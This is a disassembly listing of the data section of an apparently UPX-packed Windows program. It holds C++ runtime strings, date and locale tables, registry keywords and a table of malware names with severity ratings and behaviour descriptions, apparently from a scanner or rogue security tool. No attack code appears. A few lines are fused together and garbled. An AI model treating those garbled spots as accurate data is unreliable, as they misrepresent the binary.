aNew		db ' new[]',0           ; DATA XREF: UPX0:0041E508o
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0 ; DATA XREF: UPX0:0041E504o
aLocalVftable	db '`local vftable',27h,0 ; DATA XREF: UPX0:0041E500o
aRtti		db '`RTTI',0            ; DATA XREF: UPX0:0041E4FCo
		align 4
aEh		db '`EH',0              ; DATA XREF: UPX0:0041E4F8o
aUdtReturning	db '`udt returning',27h,0 ; DATA XREF: UPX0:0041E4F4o
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: UPX0:0041E4F0o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4ECo
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E8o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4E4o
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: UPX0:0041E4E0o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4DCo
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D8o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: UPX0:0041E4D4o
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4D0o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: UPX0:0041E4CCo
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: UPX0:0041E4C8o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: UPX0:0041E4C4o
		align 4
aString		db '`string',27h,0      ; DATA XREF: UPX0:0041E4C0o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: UPX0:0041E4BCo
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: UPX0:0041E4B8o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: UPX0:0041E4B4o
aVbtable	db '`vbtable',27h,0     ; DATA XREF: UPX0:0041E4B0o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: UPX0:0041E4ACo
		align 4
asc_41E2A4	db '^=',0               ; DATA XREF: UPX0:0041E4A8o
		align 4
asc_41E2A8	db '|=',0               ; DATA XREF: UPX0:0041E4A4o
		align 4
asc_41E2AC	db '&=',0               ; DATA XREF: UPX0:0041E4A0o
		align 10h
asc_41E2B0	db '<<=',0              ; DATA XREF: UPX0:0041E49Co
asc_41E2B4	db '>>=',0              ; DATA XREF: UPX0:0041E498o
asc_41E2B8	db '%=',0               ; DATA XREF: UPX0:0041E494o
		align 4
asc_41E2BC	db '/=',0               ; DATA XREF: UPX0:0041E490o
		align 10h
asc_41E2C0	db '-=',0               ; DATA XREF: UPX0:0041E48Co
		align 4
asc_41E2C4	db '+=',0               ; DATA XREF: UPX0:0041E488o
		align 4
asc_41E2C8	db '*=',0               ; DATA XREF: UPX0:0041E484o
		align 4
asc_41E2CC	db '||',0               ; DATA XREF: UPX0:0041E480o
		align 10h
asc_41E2D0	db '&&',0               ; DATA XREF: UPX0:0041E47Co
		align 4
asc_41E2D4:				; DATA XREF: UPX0:0041E478o
		unicode	0, <|>,0
asc_41E2D8:				; DATA XREF: UPX0:0041E474o
		unicode	0, <^>,0
asc_41E2DC:				; DATA XREF: UPX0:0041E470o
		unicode	0, <~>,0
asc_41E2E0	db '()',0               ; DATA XREF: UPX0:0041E46Co
		align 4
asc_41E2E4:				; DATA XREF: UPX0:0041E468o
		unicode	0, <,>,0
asc_41E2E8	db '>=',0               ; DATA XREF: UPX0:0041E464o
		align 4
asc_41E2EC:				; DATA XREF: UPX0:0041E460o
		dw 3Eh
		unicode	0, <>,0
asc_41E2F0	db '<=',0               ; DATA XREF: UPX0:0041E45Co
		align 4
asc_41E2F4:				; DATA XREF: UPX0:0041E458o
		dw 3Ch
		unicode	0, <>,0
asc_41E2F8:				; DATA XREF: UPX0:0041E454o
		unicode	0, <%>,0
asc_41E2FC:				; DATA XREF: UPX0:0041E450o
		unicode	0, </>,0
asc_41E300	db '->*',0              ; DATA XREF: UPX0:0041E44Co
asc_41E304:				; DATA XREF: UPX0:0041E448o
		unicode	0, <&>,0
asc_41E308:				; DATA XREF: UPX0:0041E444o
		unicode	0, <+>,0
asc_41E30C:				; DATA XREF: UPX0:0041E440o
		unicode	0, <->,0
asc_41E310	db '--',0               ; DATA XREF: UPX0:0041E43Co
		align 4
asc_41E314	db '++',0               ; DATA XREF: UPX0:0041E438o
		align 4
asc_41E318:				; DATA XREF: UPX0:0041E434o
		unicode	0, <*>,0
asc_41E31C	db '->',0               ; DATA XREF: UPX0:0041E430o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: UPX0:0041E42Co
		align 4
asc_41E32C	db '[]',0               ; DATA XREF: UPX0:0041E428o
		align 10h
asc_41E330	db '!=',0               ; DATA XREF: UPX0:0041E424o
		align 4
asc_41E334	db '==',0               ; DATA XREF: UPX0:0041E420o
		align 4
asc_41E338:				; DATA XREF: UPX0:0041E41Co
		unicode	0, <!>,0
asc_41E33C	db '<<',0               ; DATA XREF: UPX0:0041E418o
		align 10h
asc_41E340	db '>>',0               ; DATA XREF: UPX0:0041E414o
		align 4
aDelete_1	db ' delete',0          ; DATA XREF: UPX0:0041E40Co
aNew_0		db ' new',0             ; DATA XREF: UPX0:0041E408o
		align 4
a__unaligned	db '__unaligned',0      ; DATA XREF: UPX0:0041E3ECo
a__restrict	db '__restrict',0       ; DATA XREF: UPX0:0041E3E8o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: UPX0:0041E3E4o
a__clrcall	db '__clrcall',0        ; DATA XREF: UPX0:0041E3E0o
		align 10h
a__fastcall	db '__fastcall',0       ; DATA XREF: UPX0:0041E3DCo
		align 4
a__thiscall	db '__thiscall',0       ; DATA XREF: UPX0:0041E3D8o
		align 4
a__stdcall	db '__stdcall',0        ; DATA XREF: UPX0:0041E3D4o
		align 4
a__pascal	db '__pascal',0         ; DATA XREF: UPX0:0041E3D0o
		align 10h
a__cdecl	db '__cdecl',0          ; DATA XREF: UPX0:0041E3CCo
a__based	db '__based(',0         ; DATA XREF: UPX0:0041E3C8o
		align 8
		dd offset a__based	; "__based("
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
		dd offset a__stdcall	; "__stdcall"
		dd offset a__thiscall	; "__thiscall"
		dd offset a__fastcall	; "__fastcall"
		dd offset a__clrcall	; "__clrcall"
		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset off_4246EE
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
		dd offset aDelete_1	; " delete"
		dd offset dword_41DD40
		dd offset asc_41E340	; ">>"
		dd offset asc_41E33C	; "<<"
		dd offset asc_41E338	; "!"
		dd offset asc_41E334	; "=="
		dd offset asc_41E330	; "!="
		dd offset asc_41E32C	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_41E31C	; "->"
		dd offset asc_41E318	; "*"
		dd offset asc_41E314	; "++"
		dd offset asc_41E310	; "--"
		dd offset asc_41E30C	; "-"
		dd offset asc_41E308	; "+"
		dd offset asc_41E304	; "&"
		dd offset asc_41E300	; "->*"
		dd offset asc_41E2FC	; "/"
		dd offset asc_41E2F8	; "%"
		dd offset asc_41E2F4	; "<"
		dd offset asc_41E2F0	; "<="
		dd offset asc_41E2EC	; ">"
		dd offset asc_41E2E8	; ">="
		dd offset asc_41E2E4	; ","
		dd offset asc_41E2E0	; "()"
		dd offset asc_41E2DC	; "~"
		dd offset asc_41E2D8	; "^"
		dd offset asc_41E2D4	; "|"
		dd offset asc_41E2D0	; "&&"
		dd offset asc_41E2CC	; "||"
		dd offset asc_41E2C8	; "*="
		dd offset asc_41E2C4	; "+="
		dd offset asc_41E2C0	; "-="
		dd offset asc_41E2BC	; "/="
		dd offset asc_41E2B8	; "%="
		dd offset asc_41E2B4	; ">>="
		dd offset asc_41E2B0	; "<<="
		dd offset asc_41E2AC	; "&="
		dd offset asc_41E2A8	; "|="
		dd offset asc_41E2A4	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
		dd offset aCopyConstructo ; "`copy constructor closure'"
		dd offset aUdtReturning	; "`udt	returning'"
		dd offset aEh		; "`EH"
		dd offset aRtti		; "`RTTI"
		dd offset aLocalVftable	; "`local vftable'"
		dd offset aLocalVftableCo ; "`local vftable constructor	closure'"
		dd offset aNew		; " new[]"
		dd offset aDelete_0	; " delete[]"
		dd offset aOmniCallsig	; "`omni callsig'"
		dd offset aPlacementDel_0 ; "`placement	delete closure'"
		dd offset aPlacementDelet ; "`placement	delete[] closure'"
		dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
		dd offset aManagedVectorD ; "`managed vector destructor	iterator'"
		dd offset aEhVectorCopyCo ; "`eh vector	copy constructor iterator'"
		dd offset aEhVectorVbaseC ; "`eh vector	vbase copy constructor itera"...
		dd offset aDynamicInitial ; "`dynamic initializer for '"
		dd offset aDynamicAtexitD ; "`dynamic atexit destructor	for '"
		dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset off_4246EE
aSystemroot	db 'SystemRoot',0       ; DATA XREF: sub_413E93+1Bo
		align 4
dword_41E554	dd 41h dup(0)						; sub_414FEE+29o ...
asc_41E658:				; DATA XREF: UPX0:off_42ACC8o
					; UPX0:0042AD34o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
dword_41E858	dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
					; DATA XREF: UPX0:0042AD38o
					; UPX0:0042ABF0o
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
dword_41EA60	dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h
		dd 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h, 0E7E6E5E4h
		dd 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h, 0FBFAF9F8h
		dd 0FFFEFDFCh, 83828180h, 87868584h, 8B8A8988h,	8F8E8D8Ch
		dd 93929190h, 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h
		dd 0A7A6A5A4h, 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h
		dd 0BBBAB9B8h, 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h
		dd 0CFCECDCCh, 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F7F6F5F4h, 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h
		dd 0B0A0908h, 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h
		dd 1F1E1D1Ch, 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch
		dd 33323130h, 37363534h, 3B3A3938h, 3F3E3D3Ch, 43424140h
		dd 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h
		dd 5B5A5958h, 5F5E5D5Ch, 43424160h, 47464544h, 4B4A4948h
		dd 4F4E4D4Ch, 53525150h, 57565554h, 7B5A5958h, 7F7E7D7Ch
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 6D3A4848h, 73733A6Dh, 0
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: UPX0:0042ADE4o
aMmDdYy		db 'MM/dd/yy',0         ; DATA XREF: UPX0:0042ADE0o
		align 4
aPm		db 'PM',0               ; DATA XREF: UPX0:0042ADDCo
		align 10h
aAm		db 'AM',0               ; DATA XREF: UPX0:0042ADD8o
		align 4
aDecember	db 'December',0         ; DATA XREF: UPX0:0042ADD4o
		align 10h
aNovember	db 'November',0         ; DATA XREF: UPX0:0042ADD0o
		align 4
aOctober	db 'October',0          ; DATA XREF: UPX0:0042ADCCo
aSeptember	db 'September',0        ; DATA XREF: UPX0:0042ADC8o
		align 10h
aAugust		db 'August',0           ; DATA XREF: UPX0:0042ADC4o
		align 4
aJuly		db 'July',0             ; DATA XREF: UPX0:0042ADC0o
		align 10h
aJune		db 'June',0             ; DATA XREF: UPX0:0042ADBCo
		align 4
aApril		db 'April',0            ; DATA XREF: UPX0:0042ADB4o
		align 10h
aMarch		db 'March',0            ; DATA XREF: UPX0:0042ADB0o
		align 4
aFebruary	db 'February',0         ; DATA XREF: UPX0:0042ADACo
		align 4
aJanuary	db 'January',0          ; DATA XREF: UPX0:0042ADA8o
aDec		db 'Dec',0              ; DATA XREF: UPX0:0042ADA4o
aNov		db 'Nov',0              ; DATA XREF: UPX0:0042ADA0o
aOct		db 'Oct',0              ; DATA XREF: UPX0:0042AD9Co
aSep		db 'Sep',0              ; DATA XREF: UPX0:0042AD98o
aAug		db 'Aug',0              ; DATA XREF: UPX0:0042AD94o
aJul		db 'Jul',0              ; DATA XREF: UPX0:0042AD90o
aJun		db 'Jun',0              ; DATA XREF: UPX0:0042AD8Co
aMay		db 'May',0              ; DATA XREF: UPX0:0042AD88o
					; UPX0:0042ADB8o
aApr		db 'Apr',0              ; DATA XREF: UPX0:0042AD84o
aMar		db 'Mar',0              ; DATA XREF: UPX0:0042AD80o
aFeb		db 'Feb',0              ; DATA XREF: UPX0:0042AD7Co
aJan		db 'Jan',0              ; DATA XREF: UPX0:0042AD78o
aSaturday	db 'Saturday',0         ; DATA XREF: UPX0:0042AD74o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: UPX0:0042AD70o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: UPX0:0042AD6Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: UPX0:0042AD68o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: UPX0:0042AD64o
aMonday		db 'Monday',0           ; DATA XREF: UPX0:0042AD60o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: UPX0:0042AD5Co
		align 10h
aSat		db 'Sat',0              ; DATA XREF: sub_4128E7+105r
					; UPX0:0042AD58o
aFri		db 'Fri',0              ; DATA XREF: UPX0:0042AD54o
aThu		db 'Thu',0              ; DATA XREF: UPX0:0042AD50o
aWed		db 'Wed',0              ; DATA XREF: UPX0:0042AD4Co
aTue		db 'Tue',0              ; DATA XREF: UPX0:0042AD48o
aMon		db 'Mon',0              ; DATA XREF: UPX0:0042AD44o
aSun		db 'Sun',0              ; DATA XREF: UPX0:off_42AD40o
		align 10h
byte_41EE90	db 6			; DATA XREF: sub_4128E7+11Cr
		db 2 dup(80h), 86h
		dd 808180h, 86031000h, 80828680h, 45050514h, 85854545h
		dd 585h, 50803030h, 8008880h, 38272800h, 805750h, 30370007h
		dd 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp	db '`h`hhh',8,8,7,'xppwpp',8,8,0
		dw 800h
		dd 7000800h, 8
dword_41EEEC	dd 4F4E4F43h, 245455haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
dword_41EF34	dd 100h, 0						; sub_406C2A+81o ...
		dd 0C0h, 46000000h, 0
dword_41EF48	dd 53h,	41EF48h	dword_41EF50	dd 4Dh,	41EF50h	dword_41EF58	dd 44h,	41EF58h	dword_41EF60	dd 42h,	41EF60h	aVal:					; DATA XREF: sub_4083DE:loc_408581o
					; UPX0:0041EF70o
		unicode	0, <Val>,0
		dd offset aVal		; "Val"
aForceremove:				; DATA XREF: sub_4083DE+97o
					; UPX0:0041EF8Co
		unicode	0, <ForceRemove>,0
		dd offset aForceremove	; "ForceRemove"
aNoremove:				; DATA XREF: sub_4083DE:loc_408558o
					; UPX0:0041EFA4o
		unicode	0, <NoRemove>,0
		align 4
		dd offset aNoremove	; "NoRemove"
aDelete:				; DATA XREF: sub_4083DE+83o
					; UPX0:0041EFB8o
		unicode	0, <Delete>,0
		align 4
		dd offset aDelete	; "Delete"
aTypelib:
		unicode	0, <TypeLib>,0
aSoftware:
		unicode	0, <Software>,0
		align 10h
aSystem:
		unicode	0, <SYSTEM>,0
		align 10h
		dd offset byte_450053
aCurity:
		unicode	0, <CURITY>,0
		align 4
		dd offset loc_410053
		dd 4Dh,	69004Dh, 65006Dh, 0
aHardware:
		unicode	0, <Hardware>,0
		align 4
aInterface:
		unicode	0, <Interface>,0
aFiletype:
		unicode	0, <FileType>,0
		align 4
aComponentCateg:
		unicode	0, <Component Categories>,0
		align 10h
aClsid:
		unicode	0, <CLSID>,0
aAppid_1:
		unicode	0, <AppID>,0
		unicode	0, <:>,0
		dd 2 dup(0)
dword_41F0A4	dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaHttp:					; DATA XREF: sub_417173+18o
		unicode	0, <http://>,0
aMicrosoftInter:			; DATA XREF: sub_417173+71o
		unicode	0, <Microsoft Internet Explorer>,0
aMicrosoftInt_0:			; DATA XREF: sub_417173+87o
		unicode	0, <Microsoft Internet Explorer>,0
aAnonymous:				; DATA XREF: sub_417173+A1o
		unicode	0, <anonymous>,0
aLdpinchV:				; DATA XREF: UPX0:off_42DA58o
		unicode	0, <LdPinch V>,0
aCritical:				; DATA XREF: UPX0:off_42DA5Co
		unicode	0, <Critical>,0
		align 10h
aAVariantOfTheK:			; DATA XREF: UPX0:off_42DA60o
		unicode	0, <A variant of the Key Logger	that captures passwords	as th>
		unicode	0, <ey are entered or transmitted. Some	password capture troj>
		unicode	0, <ans	impersonate the	login prompt, asking the user to prov>
		unicode	0, <ide	their password.>,0
		align 10h
aAdvancedStealt:			; DATA XREF: UPX0:0042DA64o
		unicode	0, <Advanced Stealth Email Redirector 6.2>,0
aCritical_0:				; DATA XREF: UPX0:0042DA68o
		unicode	0, <Critical>,0
		align 10h
aAdvancedStea_0:			; DATA XREF: UPX0:0042DA6Co
		unicode	0, <Advanced Stealth Email Redirector (Advanced	SER) is	a pro>
		unicode	0, <gram that sends the	copies of all outgoing emails. Advanc>
		unicode	0, <ed SER monitors outgoing traffic of	email client software>
		unicode	0, < and intercepts all	sending	emails.	Then program sends ou>
		unicode	0, <t intercepted emails to specified email addresses. Advanc>
		unicode	0, <ed Stealth Email Redirector	(Advanced SER) do not interce>
		unicode	0, <pts	emails are sending from	web-based email	services like>
		unicode	0, < a www.yahoo.com, www.hotmail.com etc.>,0
aVmalumAws:				; DATA XREF: UPX0:0042DA70o
		unicode	0, <VMalum AWS>,0
		align 4
aHigh:					; DATA XREF: UPX0:0042DA74o
		unicode	0, <High>,0
		align 10h
aTrojanAnyProgr:			; DATA XREF: UPX0:0042DA78o
		unicode	0, <Trojan:  Any program with a	hidden intent. Trojans are on>
		unicode	0, <e of the leading causes of breaking	into machines. If you>
		unicode	0, < pull down a program from a	chat room, new group, or even>
		unicode	0, < from unsolicited e-mail, then the program is likely troj>
		unicode	0, <aned with some subversive purpose. The word	Trojan can be>
		unicode	0, < used as a verb: To	trojan a program is to add subversive>
		unicode	0, < functionality to an existing program. For example,	a tro>
		unicode	0, <janed login	program	might be programmed to accept a	certa>
		unicode	0, <in password	for any	user`s account that the	hacker can us>
		unicode	0, <e to log back into the system at any time. Rootkits	often>
		unicode	0, < contain a suite of	such trojaned programs.>,0
aCnnicUpdateU:				; DATA XREF: UPX0:0042DA7Co
		unicode	0, <CNNIC Update U>,0
		align 4
aVeryHigh:				; DATA XREF: UPX0:0042DA80o
		unicode	0, <Very high>,0
aAProgramThatDo:			; DATA XREF: UPX0:0042DA84o
		unicode	0, <A program that downloads and may execute or	install	softw>
		unicode	0, <are	without	user permission.>,0
aBancosDmd:				; DATA XREF: UPX0:0042DA88o
		unicode	0, <Bancos DMD>,0
		align 4
aCritical_1:				; DATA XREF: UPX0:0042DA8Co
		unicode	0, <Critical>,0
		align 4
aAVariantOfTh_0:			; DATA XREF: UPX0:0042DA90o
		unicode	0, <A variant of the Key Logger	that captures passwords	as th>
		unicode	0, <ey are entered or transmitted. Some	password capture troj>
		unicode	0, <ans	impersonate the	login prompt, asking the user to prov>
		unicode	0, <ide	their password.>,0
		align 4
aWin32_grams_i:				; DATA XREF: UPX0:0042DA94o
		unicode	0, <Win32.Grams.I>,0
aCritical_2:				; DATA XREF: UPX0:0042DA98o
		unicode	0, <Critical>,0
		align 4
aWin32_grams_iI:			; DATA XREF: UPX0:0042DA9Co
		unicode	0, <Win32.Grams.I is a trojan that attempts to steal e-Gold f>
		unicode	0, <unds.>,0
		align 4
aZlobAn:				; DATA XREF: UPX0:0042DAA0o
		unicode	0, <Zlob AN>,0
aVeryHigh_0:				; DATA XREF: UPX0:0042DAA4o
		unicode	0, <Very high>,0
aVeryHigh_1:				; DATA XREF: UPX0:0042DAB0o
		unicode	0, <Very High>,0
aAProgramThat_0:			; DATA XREF: UPX0:0042DAA8o
		unicode	0, <A program that downloads and may execute or	install	softw>
		unicode	0, <are	without	user permission.>,0
aSillydlBcl:				; DATA XREF: UPX0:0042DAACo
		unicode	0, <SillyDl BCL>,0
aCpush:					; DATA XREF: UPX0:0042DAB8o
		unicode	0, <CPush>,0
aAProgramThat_1:			; DATA XREF: UPX0:0042DAB4o
		unicode	0, <A program that downloads and may execute or	install	softw>
		unicode	0, <are	without	user permission.>,0
aMedium:				; DATA XREF: UPX0:0042DABCo
		unicode	0, <Medium>,0
		align 10h
aCategoryAdware:			; DATA XREF: UPX0:0042DAC0o
		unicode	0, <Category Adware:  Software that displays pop-up/pop-under>
		unicode	0, < advertisements when the primary user interface is not vi>
		unicode	0, <sible, or which do not appear to be	associated with	the p>
		unicode	0, <roduct.>,0
		align 4
aWin32Wadnock:				; DATA XREF: UPX0:0042DAC4o
		unicode	0, <Win32/Wadnock>,0
aHigh_0:				; DATA XREF: UPX0:0042DAC8o
		unicode	0, <High>,0
		align 10h
aWin32WadnockAr:			; DATA XREF: UPX0:0042DACCo
		unicode	0, <Win32/Wadnock are a	family of worms	that spread by exploi>
		unicode	0, <ting Windows vulnerabilities. They also disable direct ac>
		unicode	0, <cess to Internet banking sites and have limited backdoor >
		unicode	0, <functionality.>,0
aBestSearch:				; DATA XREF: UPX0:0042DAD0o
		unicode	0, <Best search>,0
aMedium_0:				; DATA XREF: UPX0:0042DAD4o
		unicode	0, <Medium>,0
		align 10h
aCategoryAdwa_0:			; DATA XREF: UPX0:0042DAD8o
		unicode	0, <Category Adware:  Software that displays pop-up/pop-under>
		unicode	0, < advertisements when the primary user interface is not vi>
		unicode	0, <sible, or which do not appear to be	associated with	the p>
		unicode	0, <roduct.>,0
		align 4
aWin32Nuqel_e:				; DATA XREF: UPX0:0042DADCo
		unicode	0, <Win32/Nuqel.E>,0
aHigh_1:				; DATA XREF: UPX0:0042DAE0o
		unicode	0, <High>,0
		align 10h
aWin32Nuqel_eIs:			; DATA XREF: UPX0:0042DAE4o
		unicode	0, <Win32/Nuqel.E is a worm that spreads via network shares a>
		unicode	0, <nd sends messages via the chat client Yahoo! Messenger. I>
		unicode	0, <t also can obfuscate its presence on an affected system a>
		unicode	0, <nd terminate processes.>,0
		align 4
aEdgeTech:				; DATA XREF: UPX0:0042DAE8o
		unicode	0, <Edge Tech>,0
aMedium_1:				; DATA XREF: UPX0:0042DAECo
		unicode	0, <Medium>,0
		align 10h
aCategoryAdwa_1:			; DATA XREF: UPX0:0042DAF0o
		unicode	0, <Category Adware:  Software that displays pop-up/pop-under>
		unicode	0, < advertisements when the primary user interface is not vi>
		unicode	0, <sible, or which do not appear to be	associated with	the p>
		unicode	0, <roduct.>,0
		align 4
aDisablekey:				; DATA XREF: UPX0:0042DAF4o
		unicode	0, <DisableKey>,0
		align 10h
aMedium_2:				; DATA XREF: UPX0:0042DAF8o
		unicode	0, <Medium>,0
		align 10h
aCategoryAdwa_2:			; DATA XREF: UPX0:0042DAFCo
		unicode	0, <Category Adware:  Software that displays pop-up/pop-under>
		unicode	0, < advertisements when the primary user interface is not vi>
		unicode	0, <sible, or which do not appear to be	associated with	the p>
		unicode	0, <roduct.>,0
		align 4
aEmogen_b:				; DATA XREF: UPX0:0042DB00o
		unicode	0, <Emogen.B>,0
		align 4
aMedium_3:				; DATA XREF: UPX0:0042DB04o
		unicode	0, <Medium>,0
		align 10h
aCategoryBackdo:			; DATA XREF: UPX0:0042DB08o
		unicode	0, <Category Backdoor: It is a critical	vulnerability in Inte>
		unicode	0, <rnet Explorer versions 5.01	and 6 SP1 on Windows 2000, 6 >
		unicode	0, <on Windows 2003/XP computers and 7 on Windows 2008/Vista/>
		unicode	0, <2003/XP, which allows hackers to gain remote control of t>
		unicode	0, <he affected	computer with the same privileges as the logg>
		unicode	0, <ed on user...>,0
		align 4
aMoonlight_v:				; DATA XREF: UPX0:0042DB0Co
		unicode	0, <MoonLight.V>,0
aHigh_2:				; DATA XREF: UPX0:0042DB10o
		unicode	0, <High>,0
		align 10h
aCategoryWormIt:			; DATA XREF: UPX0:0042DB14o
		unicode	0, <Category Worm: Its main objective is to spread through pe>
		unicode	0, <er-to-peer (P2P) file sharing programs and email. It reac>
